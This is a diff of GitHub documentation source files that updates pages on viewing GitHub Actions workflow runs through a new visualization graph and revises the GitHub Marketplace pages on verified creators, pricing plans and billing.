examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png) 1. Under "Workflow runs", click the name of the run you want to see. ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png) {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see. ![Select job](/assets/images/help/images/overview-actions-result-navigate.png) {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. View the results of each step. ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png) {% elsif currentVersion ver_gt "[email protected]" %} 1. Click on the job name to see the results of each step. ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated.png) {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel. ![Name of workflow run](/assets/images/help/repository/in-progress-run.png) 1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite-updated.png) {% else %} ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite.png) {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down-updated.png) {% else %} ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down.png) {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**. ![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png) 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down-updated.png){% else %}![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png){% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact-updated.png) {% else %} ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact.png) {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies. ![Workflow graph](/assets/images/help/images/workflow-graph.png) 2. Click on a job to view the job log. ![Workflow graph](/assets/images/help/images/workflow-graph-job.png) 18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Search box to search logs](/assets/images/help/repository/search-log-box-updated-2.png) {% else %} ![Search box to search logs](/assets/images/help/repository/search-log-box-updated.png) {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step. ![Step name](/assets/images/help/repository/failed-check-step.png) @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated-2.png) {% else %} ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated.png) {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down.png) @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png) {% else %} ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated.png) {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated-2.png) {% else %} ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated.png) {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**. ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png) {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job. ![Lint code base job](/assets/images/help/repository/superlinter-lint-code-base-job-updated.png) {% else %} 1. In the left sidebar, click the **Lint code base** job. ![Lint code base job](/assets/images/help/repository/superlinter-lint-code-base-job.png) {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)." ![Green verified and grey unverified badge](/assets/images/marketplace/marketplace_verified_badges.png) If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly. ![verified creator badges](/assets/images/marketplace/marketplace_verified_creator_badges_apps.png) In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps. ![Green verified and grey unverified badge](/assets/images/marketplace/marketplace_verified_badges.png) For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [[email protected]](mailto:[email protected]) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available 